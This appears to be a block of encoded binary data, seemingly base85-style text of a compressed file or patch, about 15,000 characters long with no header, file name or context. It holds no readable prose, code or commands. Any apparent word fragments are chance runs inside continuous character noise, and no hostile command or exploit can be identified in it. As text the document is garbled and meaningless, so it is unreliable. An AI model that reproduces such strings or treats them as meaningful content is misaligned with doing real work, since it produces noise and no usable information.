zX5=okj8PF1zsS9NV-l@{2^_fx5kS)oEVY}HI)cJiys~nAJhiJ@N>?%vH?^yYl&)l8 zX=+!KDP74x$<(f`3TvxIz-2?o52TEAi>>#HV`_o}Q@e%`_b+D*H0EAFk|A7=5_nCO$oo z`1D}n)4{~2hZ3J&llXKf@#(dRPrbyahZCO;CqBI{@#&Gor$-Z?9!q?Bed5!R#HTkT zK7C%|(;E|?-jw+C=ESGBBtE@0@#$#d)7uiC-k$jMc;eF&iBHE8pN_{rB|rZ&Tglbe zk>|k{JKwl;VPUb=IJ+``xlx^%nW~)}Z&3Y)eVLw`abJk?SA-Q zbzx<3zSSNoyLTWTNY>XI)uJ8LigqwDG*}FU$swm$2UA5mm@eAEOi>!l7KPv>bns$y zFr1x{#-WD~JLLUNh;JFkhJHi5tbNjLEq7Mh&33zadA)Y2z0hqn_)m)qoo=Vqg&&sq z8hWDDUgYWdg(H6I1` zm?B*&f~r7|?>gi=Hs}!^^lW>jIX~CzbbW-H?eiTBf&aVs(F&p$nyW3q>3?&`A3djV zVl(x9hy1Vo!>ZbkxoXfAX_@Ky(QhN*N3_@&)6*fXGrbtJuT1YF+AF5tXqXty zM@wsqB2KT-j|oD~sm8;(UU^X|iC5+oX8KT9mf2J>g+ zpE~53XE_#@S0p1(XyGHvuQ3T*^kd|l&B>snX;(ir`fP4BeO&zK`tV_m?b;Y(Q$xA94oTtxl`Gu6SiP1`u$D zE>UG(*eXwz$h-c&lVq{Ae7*}?gI7mU{@h5RbHt_+89>Ne?}z#fmAx0B`0h;af@mu8 zHXJw=7#mhafw$qPsleNC&Q#!SIAkjDHk>dOcpHwF3cL+xOJ3$PPM^~nRoGL!4?5(1 zHue-nkeMDVNujp7vPy&KfR-P1$cOt2kc7fN0F%E+xGX!@#eNrf8g)ayl{{fVvIj$m zA@z!%Zv3Bc$XhlJ0IFzteFdS4^qiheyzjvFj}mo+w>wq+ph}!;9pT?hE^WxrjMIDK z7uR9AKw5UO*6&pvU=V9P%OScCp^M8|QJ`rDXX2V?RH82c9(2S;P>4S8R;04=^qTL9WgA6f@4w(V)~8-WexTT?& zEr303N2HvTV5eW!{!I&T&mg#E0+!68usSXQPrS_i=MMRp+*dNnZ+eQ#CHvUJ?83t- zdg0-b+N1QsgZSxQxbSeM)xF2R@GvGXJfId2uB@I0zx0?m>*8WCQwE>Iexg42^gfoT zkNlngpW}UG0DIpz8cTOSrxqoRK-}9@w@x76MX(ERG_h2c2rkZ#jz;!OxGk)|V?BC+ z?DiSUudm{G-zgz)RDZE_cl;Q=^>Z&=`tg2h^N_mE6;GU9!CW(e3-&+PUsU8G67r>g z^5kO!`0%VB%wvG8PONOwn`7RuY;snSa%LzZXSR_6n({#>Rm$F122ixlhA;+Z1F)Idy#E)c1pqvb*xb?QW&=7uzA%&-Wbf z=@JUE>Idtbp%F!p-HZO&*PSE4FyaiJ$&q$uY+$V`IJZC)bi=yc)B)xCGx*e87q(=m>-lWvXZFV~Pk&|mhe zsjMKwrf!W8?{~}OwLMrPK4Nag|KzRraF{5ENTs2$awK!GdCeZ+z{H7^d5|piVJHxq z#cTY>4tZ}cxbd`~GU0A<5OxYuCPYcCvStRsSRPIE>iqHm3f!|NRSdDxiJ0eBVhYGU z*#mYqB(KUelKqDx@{EuQ$TLC-k&(+sSU)WQB`rVw*WprfC5MRz5pQ2rN)u@ zT+3tP{q!bcokGjt_sZzPc8|Hm9n>y!@5v1$rrh!0wSiDT^4Gx4T8qfCW8_GEx1yPa zzIuOKA|^R?wdd`~+Nyu&mNCZ{0JGY zdkV#sFQa?Oj*G3;jYJM`cf0uD$xBT3NCXos=U`K;MR`nV ze$)Vh?DajE0iR20rgZ=Fh8ZQz9w4Y162(1K((cJKi+$C~KnIg2C_O%G{`Ed;Wjefc zTG?|i4_hDgG98gsl|B%vqdClzKPZ#Oda&BH3K+(WhvAi5379pA3Wk`0QY zCcN$A6#+dMbv-y<@jDj=e89eTk5`f=z`pTr`*=k_-`nFAexsKGW)t**n`*LByCXHGj^)eliRptpcw#{(7lFTo0npyvJA{{xO8@ie8;}tQJy*gg; zyASrgfQ{`QuOu_1eGSd_@rr=I*T*aVbkM^zITM>?UFO;0KUYTO4l^DHo|>P(-yNX; z7S~g3QpR?~{(*ussTcy_2wSIplI)YUqLr8FXia;ES3k>h5k&HT*&ur4r3J zsX5TlX@dPLlIFd`Y7}dxDGTIh;q$NGDwEgrjPsD88C3P`^qw!Iwskr$YE&}UJK#!2D#%ZlDWiK6(!sqAQ;D7m~lH)DN-6ZyS6X_~`+ZHM!3?=>+X_ zr#hsE@(uQxunW#F^M{x4$16t~n|2t@;(QRFrd*=hDc3E0Kru zZbk8mk$D4LQK_ZMi=orH49bDdd zuxSOHX*WnDX@>19Rknjf81$M02>Tl>n`Jo%n_`*e*`j~DOkPB(CbN7oTA}3b(rySp zq0TMv^YG&bS*+fI4#P_fjER|)WVUaXg@>Rt3>`Tv1xF5Zr0F&a9XUv1j`?nN|K`4c zB*R(6zjTNdzM}-?P*q!-&q#5%FjpH5z;AD-;{oc{5N4FC@~rpr8RqP=P`%8!?J=} zKj#I+wIkt0!igFd)qGf{4Fz`7JQxPk>gsCJe2Rz zj@oT5UjV@%%L4anZlnw-T;Je#O5~N+dCM)s40$if+b`Gr#liMs-d>P0Oy^Cgpjy_E z%QHvX%&%FeAXtC=8px}x<6eIPVg)YP?N+Prgsgdee*6-YZu{#Jv5clLb!7ep8;Q6O z3&HdR3((u(EiI2x{tXA!MYSce`spG6#WJd$+e-v=TZ&vf*0vNSSiiGyeraW49%Acd zwfA1)sP6g!V;8TS^Lr(7#;%|N*$oy3+goH&&0f+b*ca^VWqB6sGuEkyJjjpsV1D|z z!&Gt3#`qoPzm|w)M8ysR%oybOv5`th-D7b4`6e)2a%e`dwOffe@FgPm5TD^+?*_NB zyAyr!`YjXQV0ZQCe8pK)xc|Tot3S*P8%}QenbEr9fAadOl6!CL37OIA$|IJ+ky7kn zqt=Uq4fT#pu$Ox_N;Bwqg39_0IMPtj+<+sE=KQ>WuA()5`sZ7*bfl3TA)RV$;M!^p!0bol)P`qXn|s`ehNrmR6KtYdCZDu zrJR}HXFkRVmRBA_#%2U!7G?;vyg^iTb4h3PYE;i>{7giSMTkXcA_qffqq{T08?H7*3`hJN#U>SOTR&L{*3aQQE zb1Kh9St2^AY#nQ99=JR5m~vmTOxM8CU@N-8$D5s;+bG==5L0U@8+#poXvYQ)po#b# zUTu@z6_3M)Zftp&)MALQ&rbb}$ojOs5Z@&5b$g3kFqZZfZ8Vm>DBmRfdbYRxsU3G~ zu#`bc`;l0-f&r4~63BnA$9q|xrTbOOv_+0WTY<5Xwtd@U4E=@{qkkEa8n2BE|`rgrBZ0+7or$oNR@SIqAi0@;%@aij_6ja?;E=nEt-4+o`_@7mdPilN3!PzZ+3YY*5ZXv z$yoh#FaCnP3!ljd=r$W$4n{sQ+iY|$Mr+qSlQHbsp7Vd&J1xK%*uCzFdrsIDtlT+D z+~x8tV~bZo1s#y9(bf$~OyNH6J%;W^i&sGfq8f*zt*fATlH~rg35=Z_UdJEVy$b4+ zChjVzEge!i&Xc5ttqI2->|nz4NQ$o(y`4BAZYQ=Z__u>hgzB|Dtn%A9)uBclCLrpc zk}#BYaV5yQ*dlXo(|Xp$Fs>OcDgIT7*toALZboyOpli~-xigK$e$rC0HPfo}Ewotv zy`2O!?0zg`K>wb!YyZZyBy$pxZP@6@9TseHg~3cv?oK2oz&qDkaJV2p-VHB+^u zTP**bC0}ercUU%rjVfHxm0}%wA%4RIlIh^`6DTsnoB@@!K{uO$%p3P-wt0W;Sdsmw z7n+?@a7UeSiTH9ioK(9z(HGA~ZjJ~w6gu$q6^F^52KVmqR3bn|JLilXa9(P;1zmgpx9e-Q7zv6?k0sL+2 z{)&%+DTjyIqY#f%|%^FK=kv%^ga|Le=C zNs}kOn7-G5;`1|-jyB3g#Tk~tC>mGm!-1>y<>Y1VOAEPL1GGjHjmrOG$E9~)vkMVb z+^poE-EI7@XT#+mFr`>f0TI2`VA>1BH#NJyOT4kfKcg5Y@yo?ld%3mPU`hPAv3_&J zSRW(@>igZD72n4FJI5_m4vy|8JG<@Xa%Xj=(`uY`OSd@QHytZ=M>vTw+4~u5@XyO+ zAs~N#Wy1^!omum4Cm7!9>?=VB-PUqvrQK||o0r#X?G^|N{>$P*r+dEDUFf!!>?A}n zqeGn0eQSgpuOWl=EjoTYKz94(bmqI4S6gmr-0}X#PCir}5`ida2h-JSZjq)(PsNW^ z)Q(2Tznko=@1X0SdGAyq&}2g3J!LD|mIcZE0}m#N1CrY~MG8w_bY6%oyTU7wBM>iv ztBrPRZmr#>WuT(c_?E~793ltnt}2bom2W%hOmK1hEr(pT$D7Jb^iv?iVYZF3-a3ZT zp`jDWa*12!2Sq01Oa>F)JLEP{SgvH8yFd{sUIgI(EfE_>M*7JMa8->rycZM* z&}Uoi^%iRQ;L7Uh=G;Yfo44qe-by~S*>Kg#k@uGZM$Ios3{*EZAxNWZ^9kW&Ub?Wb z*kUc1VcAzegoehCcRst>rc7l|DFt&J{rt!wKfl?~3;X@;t-tqeB_G***y>i`yZ*kf zz{S?``R)bpS2y2u#jQSlVV5oSEu$Kfuk3wlfc$tMW%FxJ`L{jHc48;=KEBz=Ewz{{ zn+-JVdp#7;gxZSN({$e|5O5bz5f3;!kafT~P zm_5W#9&-6?1jp7dG?(WWTX6U86V{pG(Kh&!kR~Wl4y%mfXVg%rjFM5M%95W(QAbXF zwY@UGHU}3EN3$@SjAFI@gpqiNnK@9Raw z-luyJ_AZQX;pE3|CW~{USon!^)9c9hFuEBc-``$z{$^|~plP{)Y{ZP}-4}_|)QcrF zJ(}uC@U9k}gIQa1Fe&HY1J<`CGe?Hll>{ISf18XPat@C6V!9^db|i0&Ok@-5;Ori| zoXOtP#mN7$L#mm_b+?|HpNHu8lfj!t9tY$M^2Jum=vXwhFS~ubKb9bWq?){`p_x!I#`G;s*j%(dn$e`rl09%@gcP z<2uKf&>7Qv8Z>TIaUs(;X-EFnA@VkjWn`mqr_rb3`>t<$%+yA{w1%9?|CZJ)YUt9xk&W7)x&}(o2q;TYg*G!zCo9 z6tK02%aKiKppoJK#vw9?O#x;Pa)XQfZP67iRYoH{_v-{84kS zV2d&=3--3`sI2&F_F#)!6r%tINoPOVVs1Lf*nNg8_fH&Dzq8o>8z2{5w{N1)3Yvz& zOaf{KtM&sWD+XZ)LVoAE>$PN8m~J|)6d?%?97I@xb`LUAwBA=DPXx1&f1=Ik5#<0Y zxp0iAvDtVdLJJUW{o{=&H8c|LKRINn2fPvRN`wTijS$x`H~8P9C`Z&%+rmL8Eoc4Q zT|P0Jkh@DO>+LdtP-ixea7d&_lpE{{ha_rjHr|NP!n$zCMvXoQ2f-Wt5)K0Y48p_BQ%00Ziz*S)Q>D

n{a{pUFMEOj=i9_}SdU&)Q(UlevdK84M3W(1TRo zbh>T0p}4TJOuuwnk9Xa@?(U0sHP5%&53RvPgr(N#_Z+gjv9Jsk6#X3Q&p71k4y4NB z|7%hP>Cy;kf7^mGKH;n*B87V}hCi11Uzte?IzjnNM3=*rE$$GBxt3WUt~iNLONmd* z2~ST{2Ha6%oO`K$qOvt(`)!%p4_CG)Kzn1Q;$BbEE=SgHs_bw_NNU7x{rU=VuOmqT zvOxKr3GfV8b|pUDo%nQ5;?uo}PxmE0-Jkf>O?-MF@#(?Dr-O-44<$amCh_S|;?rvr zpL&T;4<|kyPJDV@;?pCEPmd-(J(l?N`oyOriBE4xeEPh^r#B`(y(#hO%?VF$tlVO< zu7@kPCUkOBWz=ZZ4_9tW=w-Nad*ajM@lVOWI7NO?A=jYTz_Tm!mmAfI+1ZoRlkQDq z1U*6@7gttRVZVd@t<@eXySI~D&_ncbsrmTA(%Mo3Y}Iy?Zjv2n?U6&M3A#%N&xXm6 z{#m0sG??(THsmBcok)B-2~TezN71=<{e?Fo5j9esnErdlstO&`S>VFMaG?Lk^(FzS%ic_O2y^ng=k?v5#u;k0yo& z<2r=tje9f||7aQ>T~Dq<5VDU7Qvf&(@>J)YWGTcI*hj0wyro*W*q2*y!lpt1shaYgr3ur$gobusxr<-!vEA9BcxlHgDdVFbZcNG#5&L+A7lN@P4MM7mk+ zy%3I_*}JpCuTnJg+&a2UUBvqZhwMj?@GA^KPR}Xy$Y3GYVgFx(3`Pl?PUg$Gkjek2 z9KN@NuGa)m#;Fn$p5gA62dH;DWDlYa?1g@kg~RA)PEVO+#A7>62od=>4YK3tG~B1=wywwP5}({%OE!5 z*72mACUaz4WG_ONmb-KZ=)dta4boR+LGqHqoix0&%F$#yx{4-4l4;4}cM1>vF%N$0 z%E0Wtu`ht|k_U*`lE*X8pv0L^vLLKyqM88{P2@rItg=0^s-;yikr*Y0e_oW{tdNpY zrxwquH8zXPq(QR?CsjG;@iA^z`F%lJV0uNTyRf?0>iEL5pejsNCZ;xh)=?J)3 zf4v#JR>B&)PQUZFdgeIL0v{1oWYka%bv&q3jMs@D_Tg6iPh3`@af8u3%oc1e8UM%0 zmRyT|k>E{*5)eq#vswF`s-p4Xiq0D|^$`6q0s$@k1)E{!G^DBZmozo&q(KN2A49V6^b5^D$7%?Mb=aRN@AVPvDA6%~7V-V#bwE|)wlI`y6kpB$d)>N#L zn8*}t`H5_Du`pF*4Ypw~aQ_9#OU;KQ0EP#lag6>mKVN z@uXT*q=DZrl?MK2&)D1U3+njMUacPuXMPLgQ8UBiNmZ=*z{3#PIivk`qDo#VD9aW0y9HWj* z#=3mncyGeUi&H%7?ompg26uY1kBZ|RGJ;HKj}=@zmp;b@YkFjcPmJhyL4?4;(!zxC zUqjOo_hL=|qNHftixc`6QCw9FsFV5^QAAYCi&Od+Q7lu;i_`iSQ54esX6FO0q0?<- zS~&w$P9xj|58?=v)avzFiQ9X}@W|Jko}MYWy*;tW5Ek|3a8%S|lpX^3IzyWpSCmMYaYDGg1LO;~TIR0ExpP~(H7(YE?av;(|Qb?l0 zapfdmSYGHhE&y^6W}|JZOb}~52d$5jTV-n>VBYW2$~@gE843*u(V0QkF zT}+TM$wvJ6PE4raApbZ17uF##lPc!unH(Qcc?G|q8AWiO@=BE-ku~@zieMA%D69>{ z-<-R>U8Lfx`w)tiRPQ-@9;6tPoIoyaQl-kZ^GX#_`W83G~hr1vF8 z;}Hx&ama^a_vxJh6wVg!ZD^M_8k`f#;M~jz0LS}$nH*1MgU~d%`_6=ZLCm2=f$~w{ zxxiI6j3-^bUC#vT7)+IX_eI&>6_l3m56k!ICngqyrS8m z*SXMMSiZ<~8p!6`x#*TaT*Im1?Gg&9qj4pA>>j42Jt&oEcYow3ub38|!1879cOCM) z1n>fQ-5n3No6DWml}^jkP_-IR)f-RfE`pkRK%I~D-kS)5=nS$kRDoz_h)70=mlS31 zmmP9M;;D=&YFD`1#Rna^q?68*P>m_wFd-gLRYG-pWJmSLQ2h`@pgQWV$~Mw99hh9X zQHf(}dPzW%$n$FsITj_47}tbA(i!PV$N~ak1PYS~(&6rru%4QqzhBg;LZyEU#9jc0 zC+(!MVEHt}au0s+8UKC|5+zC07n5y`xy5Fu<4%)Fx3;)4SAVet&H#+joNH)~9F*fo zd)nRcWAs+~y>KbrOE$PA4*IgJR2F`8D>5R-?xc=}hwi_hY3ISW)50Wo_xaELU%VXV zyf+bGm1b5;`xljLGJmO2^<)XGwAX~aP(}N2xDO1C z-wF0TU=Zne!kh%Y^rGdZoY5CXX6-g|tMRNs&AOv<E zs^tB?L#~e>H?m2|I%#Hvy}*3G)VTT&4ggLgxAIcB+1S2sW!{sLReDP4o7lHhWp)PI6KDVucdF8+V-(~F zIpRYxE+Bt;s3)-m@62XCU*nt4drt2P%;(Z)j(U&b<*vfaMuHRZtfqSYv1)xB3&MkJ z(ePp#4JR{?HRR9N-qX8-`6@s2l@eSBK=N5PVN?AaY`UL=%~%{PmG5UW52ojP@SmoR zb<*Bg7qO|QV~^^1KL@iVJ%EbonAs8^MuXXsA4Y>^7a+0Bm`=v*0wi{@|F#YLvs88j z=?fd=1Lw{`Vmfyh{^rF>IM|q3sJ>J^b-QD*(PB+c9bD{f#x0SHNGff*u^Y%&lG0K} zYNf#`L$lIa%2=$lmNI!$T1%N{DXpbUiG-9UEtRS=Yg%ekv#(6poXQ^)VXr963>od+XX*f&8DHqP^8x>fd zea3k<4QHtW#^4;kH-mkXjxrd)eMb3Y8p=|a&4coPR*qa%-H2h@pmun1oY5(PI*3jI ztB$AY+EOj=5!P0;uxwaYQ?V|fhXH#V%(WFoEF0FfRICfAVrE!d(Z#Z1J&}ra0d33- zYb)wlHmoO8u})RU5(T&chg(s|vSB@yigl_=mWcHdK7kS^klZphJcBVxLicURyup&t zT~&gZl<^|RpYet?HFc#|3xzW&9Wn%hX7Y3~E;})eUV@mWgWd{`VDh`fXMX9< zRb?X$jToUzyvL2Z00NY8Tt%o;yR`AkGVxeo*p(B5UTx4ujF^=+ayQV?2BQ%Wu_)j0 zs~mphTR&(cM$AeZxo7BTgVC@?8-7Q{I&G-5@zi)gpZ&#%S!pA879DLc8XDT9q&bHT zS1WM%?VElQM~s-2IC2Bh5eK7Tk2w5ZQ9p?zM$Aea={(R82cuz+IQ+&`KZzqo%t{>T zWzZ1^qmhd^3%Y%r-vu)zPUwC_>>1!MX?JijR#vh|M}&?n7y%7g616=oMMRvip}tp) zB4Vtp6p?-k9Yrt#St+7~EeNo{ZIMX@HYLfgDB*wM!6Gz?KZfIao^)eiH&3|RI885+ zPxMsDrUDnFN?bT!8dap5LrWEmgB@PMT4TClP>?EddT$z4km8HXhk#cw4tA)5^~Ii3 zB~If_qY6@abyUGP*r5v66njpUI9)f5DoEMYQ3c~*hbmY_>^W89l-x9`AT3u%6^uhx zs>I#b6SB(aHh}iN9`7JAEdx(xkZ>cQjd(NW1)Wqih`NDrM9CS8;+?xHs~XmUoay zTAn^87ik4}rlb|rG9zsq>b6KLoFn;3%R5LUEl;bHi?jkfQ_>1*nUOXQbz7tr4wn3+ z(->B()!OanJA7_v%Et)wPY&s&sAR^aNeoxSdbeHcpo7+Qtc|tjVnWi0+C!_loxv zJ+sUE$0dBjkk7P!o{`lQ@UFN9D(^p2M#Fv^*)psZ$F~e?dGRg7S_^B5lNhCC^75%Q zAgPsXl|U7zFO{NeLvUMUZD?s0)(GP93vY1oEyMCUzGYbau$B=n;|TdzNjY1fWM&$= zrDz#IIH<2gIcuS{-0k=`Be+p%x-b0jURD6X`4Q0P2*y_)w*UG#qJBMM~EY=yzdC^LtGCMJx$W@3bN z=J-b7g+I~VsgX!gX5b;6JwU5!JWKlM^Z2a_5PPRXf=v76*0QK1=0zwS{^ZEqe8g{vH(p%g(Bip!EnCGqRXbux!1tFsi7wFG)U=X0yU9GBTAD=)I^>WC{3nN6X`V1kSG1)<#3|( zcbCbNWo;3{w6vbumvp(-x1?qWW!D(Xv59?R(xKHM36*hPn#`SxY(fGw9bUTMwy^f4 z4F7K7Ip%5Fo#yI7V_^xZvMo_P%)QOMmE{wo0~h{ znw+an%}tza)vD*9Lh(WR`f9rc>B`$sYka=7&h|;SeD{N|8oiSYo?B_N+~w!imgi{w z^u}^?spXEkw=^35qlC2PGvl>Um+U&f!me-9jyi7XmMx?E2#z({4cdxQ)} zkO}Sw{)p6%RraKi{zPSOCO$b)*_WyPaAki2UmdHsiSU&Gg9E884yLvkOl@%}wZ%25 zErwECT$|EjxZ)*HYq)Ya@#%2l)9d1&lK)XBU*1k!UOVXQ%KT-h>@ZuMot*`Ehxo7j zUr6<|3O4K7a<|onoaH0r2!6T*X6q8vNTy9H)A|7CHZ(>>qn z(kk5I7uIGC;?ija4B6;hdu54#Ym5WBd=@ZW-d-xMS&HGTZe8^}>UX6)oaqeH<0MN0>a5;u6`xX#jhRUsv=H zrd1tsi_Wjjb>WPLYZd{x@=2b7SIKTZ%xRF0kQdn9E*A@n)ZBMjRk|Ub1cnbLp4&&hkGp{9H)ny%NL*yH~gz5SgtZM7kmz* zRo$x`8@^5Y*f3nUMmR>tR{huJXq@*)qRJ-t{b6asfxX}e7@e(2F?$RcTq!q8E!PMS z)RK81S8beE`+}d61kmBrBEV-D<^_MzrxPVYP0L?3HYZ#oXLAC6TIE#1d{$b*3>bTO zVX@V_n(`lW0w#uWL^1iAVC%55s#ARYZSp$tjsk5&WDrxWj4926x&2bYs4Tl!*OWHF z7#`wLR?XSdEc9G!@jMZdn~n!W00!tTfOE9tZzS=qGb8Ps>Ud1g`(&WD@R1742RBz3 z_h5(vYWeat!;Gk8sP&BuHA`eb5EmiCPddWp9`hL!#7xEi>~Vcj5Iz{kh&gi!JPkN- z@}~tyo(TEi1OidFR&s5M&p^oojre%94SpJ=WS`;2F1A#}PdZ4dIxFKEK8%lPKx(L% zw5PGM)?Hoe@>-xBcYu`YTXdF!Q{NA6_}!HsZg(q{zt|2p3clxf5BTa3rA}?^vcJmX z`h`>K`R-*XkVeZr=@PWR(cd{(hyD($F?xlV5#vgXM7j3(Eb9u$6Ba;Llmf_pbBZYi zv7Sa>wWW~5@EIV#*SCrMqfK;Jj&|({ylcnP;r0H~^n0UA)Bh~=b5STg>I(HmVtn`a zN4m#{>l|Nn*Z=vQXb|QYh+aC?Q^xp>&UHP*R3lk>{CBjF(bzX zxf%;17ywvU0PZ(NMA9^`MVd=IHO(g?%~4c96qw0Ka}*&EZ9WxgE~5oBz)VM)%hU=Z zFG=;my6G;Hk=y-a4aKA5>fJoDwc^|MTPr^{#z(&3^vE^s_R4)X0$GXdJL%msY*pi9 znc_z`8G=jR9F8q{j9lQs4e+nVC1U&=50ThG6G(xs@R@CO6fjiZ%6}S$sDq^P@=oH@ zQsUEc!qXEFAdn@X-~@yWWNW`IQ~P0v8Azf-CGqKwgr_$`6u|W)Emo|46P)vpkkml0 z`t@+Oe;rAT(%M>i$M$`@ynCS*XA`QQH_m|}NP|}D{FeVJ5J(|)xYX^9zPa5x43d?OpHDTQA6_!;Cuc! zxLAKwB0~_7b8xYF8AyI*2~jhQoG$t{Lkzg04q~$-zeV z96f7>p*t<8XS&>7Xf8snI%l6lz6_@muwY0q?-bHqDzdxdklhoH>|TuQ?#dTb(z!Ib=Tsz3ld5$JjICLR`xpn&6*>n(^OuLo|yrdk5kWIv9`8po-8x zQ4#tr3kX39ncbB`Dx}xMK{^x<>9s1PUsNG|+5)6s2lpXF#BAg73#0<^F9S4Q0pK52 z;lC~p{v+}5A64Q1k_!KqEx`Yt62N@S9iZ_rfXVglwzI8nvr&c5BjR(7?5Nz}f{>eQ zUIspUp1XUo)od?Q*$E*uEw2KL##tKrqywKk`sq{j(_#AQ)AZAg^wZDLPdCv|KTkj1 zOh0{we!7Kz`UU#wR{H5G{WMBH{UZGYJ+BY_68!`{uMhn){RBO)4}F$?f}YoheuaL5 zp4W$dm41Sr*N1+MeuAFYhdxI?LC@<$pQoRo=k=j~T!l)M zVwLuMfMcm3{1IGZtK8;ZvkW1pI-yM}x4YYzr0BpVaNOO#)Pnlva~*QDa>6~#9)JMW z$@Kk|G2jcfPx}<+ivmM|EF-(rZVLY z%(WI5L3fx2HHNCfaIoB(gAHIt-2i6eHh`1y8$ey%0DfED0KRIz0URa=r0&pOUT(0N z6l}@xcz%G#3qp9jP{rd#ad_MjkH?EuJpLCIkFQz6Ia~g!9 zg*+ydH8<`*EQocf@ei(`Q~-03cjvFlrO zqlRDr!H2J?-vd1$2PSkeW7tJFa-G!cv(Op$fI>gF8TP~2{#5;rFe)e1_oW%H;!^W* zxwroE2rjdxeMFFXe*Gjy=62JL7&hsP>;C{F4YIyrW{`M>R z+Yj-#&+uLTVZO`1iW_Q=a6|1;Fw|0ePKP|yf_mygR$i!u#tz(&78*$Zocg<79q4-C z-2l;g_HZ|v? zT4O4+VE5FF z*gD5+hHQNSvGqa{TR(=_`XXlQ#Wc2Fin6r@12(tC3TzGLZE?0vCoolp_wfneZ=yV> z_n5hbW|zs_M}KzAXEmhvgGYYZ-P&F0HW%UJio2EFcLkTzDwbWlD{n$_Xk>`&lP)0c zyc7PPH$W$C*&jsp^8WTzx-My)TW-)Jr1SJlV@>UU-K_uDfTD59CEW{fymw(`alS+L zRvveEHs|KnAdH1e(7dXz(OhABZUXD({SR|E^H??>6jy9lC#y+WmpbdmVRA zx4qVCtgdw6;B*}hTMt&=2kz^0&BYG>bx-A~(75lUeMY%5A!~M^DyuJ`d)D6Y&llG#iz=|=E~`ciE?^8q|Bt8!zv?ky-4|q0}r=f4>n)~WVO^}ZVBJEtQGLxo%AWwmL($`U4;W~AhJYy= zU}3Dp38|ACg@n{IDe$0_G9*9`HAF(u zO$#HDE(?0lLL>5eFp5U5WgbNX>238}fp>%Gnc87?Dinmxpa7b&CGx!b2sD$?_{0$(eAZL)Z%LyvdVUkE+&)23Q2OJ@SJm)2jRVm77eB<<7*0C{Eofe>nUWa>zR8$Z|+xJ_j0 zO(2(nQPzzZWj&cu*6lFLx^+fbFUlzE#15mZ+h>$@aRQv5QP#=dmTLdKL~d`uB>+g( z*;<~1*sUNeoQFv9Fm&*NRVQX9YSl^e*3+}&Gg(?sjAv*)eR9Tyo5o*u{z>__AQ#I^ z*A^E~wa=e{z%#c>2B^2rz4c1@CbI3Zflh1j9H~6Eja_u;5b{`sg?>W(E`7Sx>|Atr zlkMQcVsDkm78maG!q9l2QV~}tI_}OZLhihMbX)JLDt4 z>>mg*`%b~^jQ#dYHU`dSY`NcOWmo{*i|y_~3?0MA2P1q;8*12?G4c1E8sK#s#w$=t zB0^+#V)A6oz3Pxp05%^DVRN0pX7EbcjV|59Woi>Eu{i(6sr{8hUYd$m>e`%`8h@6c z{DpGu*UMxKqpT=z#;z{IP6bD9QJ_Vu)D96UlQdo z-R3~{KDL`)yMv2T4Hl9>c0RTPWH5ZDnX!|$j-zO$9k^27=WiW!`>?i!d}^Tfi2?F* zqbW<})X7QMg)Q|pRhyl))z|FQ$r($1ovfZ5pZ@#99v?2%J^(2{F?-CnS5_fCN@Ohq zWvW&4rqk{h9rAftV{ltdQNV5$YwY?f!EOGT5K&xl_l`^DoS+%2d{eG$TdnNLc z6q2N^6`)qFYNMBliDxSzzw6ZC>gCM}A?a0M9cN8GOLoBj=+u7bkkg4c8L$Rutj`J^ z=Z~G!-*w217+raBOWfb1rr-3;?4(XD{TYXR07St1LLxv>OG8^^KUC6BmTOR7xIz5@K{mfLh_OsL3+Jk}neTRGpi2LmjaZd~RTE9}B(a2X})GE46ScgdzyoZtC z-Fv0Hi>oUZt={(x)ZRHj?lGC2)TLINtWDbLYIdq>sjG?F%&e`hX2z$Uvz+kr<=Ush z_C|1HA42`33w2_q8a5x&UZ~B4%!jlWCT26fFnRJhJ45dusJ%CAUc}Kab+JxXXKNuf zK7U`+)hSzjO^r{6O_khmO-;^LpR?TXEvNRoj{6OVJPrHOZ-(}z39&ETcBKqw&k@Hf zc%Vc`KXSn)ZbUt^0R90D>Ja~j*|2F=x>wA6yIpt3&KqyK`IcKpy~Ez@)iS7&SIf7N zTc0Z36iv$%&9^k<5PE(va{P1UQK)PtaxWcysx<6>j=TdmP+iETq`Gx-%Qq^+-M6}B ziogR`%lDGIu9i=e$t&e58GEX9J5)1VhQzC#v2pi^nk;H(g%%-U|2aJS16C|KRySQO z-#~_+DqTyQaaWV4jbcv^S}dXi+lXCs9EKK~BvW+$rM20iJDCenKWutld9{2$x%(=3 zI;Wp1O%QPc=H8qzFL;uG*vwJMHUDfAWDz5}pW4PK#~eZ4G}Q?mw}RMN=}D@mx^L>y zGP(At(joowpy}PRfmxfe3nn6M0+^r83g*PD3n!;k==6ZAZ2}6mfMr0JK6C2x7Oy59+tRpv%;Uh#?|uc$g8fFA0p3ts&sv@4GgN=0L|sd zax$?~sv}R84ig?65z!}(4H3RE0GbBdoSZ^yDDpF$LMS?-cyq<#2)+f?)lQN2|Ao=7Xm#a%O`;T zi*`;(UhkH`1{%LwK2DgXeEm};I56b)LsY%ta)jDGH(o7|ki$=vhNzVg5l>+5a3kT( z=0{Tx=7ePEsnVbp0v8k z-Q%t1N7GgJl{u-F!1Ni$pUytMAV$LYzh*BMso^?1y|Jt1+X-7r$DS%(7p%L;dOAke z6J2(gkNc>*!zMyGW(cU&P>^b5)n25%3sb%%h_q_La@mIEZmSwaf@(*nQ0kLGkX4xV=X}4Row9} zzFK}EnZ8<{$l{I{_W?L{4OLTX7(kqn4Ga+74KetVl{sM77Tk;YNMz<}d6FEz3a1$kP(I85Z^HR57Ox%etN~#^2-m3&TX+IWB32JB%&On8_+owWnpxEIrx8^W&9Ywj zPl~tbwH;R#z~hYn$Z&qA9`YBp2vGqYzO_KZN-Gc9VqR9nG~UJXS={|scX@}WSki0P z7jibavb;rsUHmyZ?tGb|A3U9RW&FS|GwLT;&g6O%H8JzWO3=%)0&$HNOuaV*t?H|Y z*kBv@MLXc7p=0z?#%g?nUeMv1#7W-wf!+~2cyPg+XTNqUn9lzMR;CAGCzIw&zmg?B z(h5XcV-!-w_u|CG7Xi=8bCXqWLiQ13x?Fq%cjD(q42MTyCAmFUgbG^w5)7bowrL^yNILkz0sS zOAb=mJ1bE7vog81>jwC}yMgOxOA?QOX3i@ukydVd#=W%Nz&-BKCVxC-A@Ft#?=W`^ z#J_Ea=;z@O$DFud32(48c^GflmSc8-3`*3>KxD@}65O^DzmCo%_ugNjUax<^g84J} ztMduWEg7VRSF7=j&?-2tw1E9w^$A+)44|^04n|hTqMPOj_o8@TWQe^6xk_{L!QL4Eo#%M{ zZye!r+Y#<-EJ52+Sr!<&5TrbhgW~uEwEwh+v-;=E+mvkxF6)2tYaKkXTnur|;}Fny z5au7V$;GvSRUj~m*gL<8pSo)gEtmL=I?*yr{M8*^UHCaz_g0v!5j#jtMKcjD`;%86 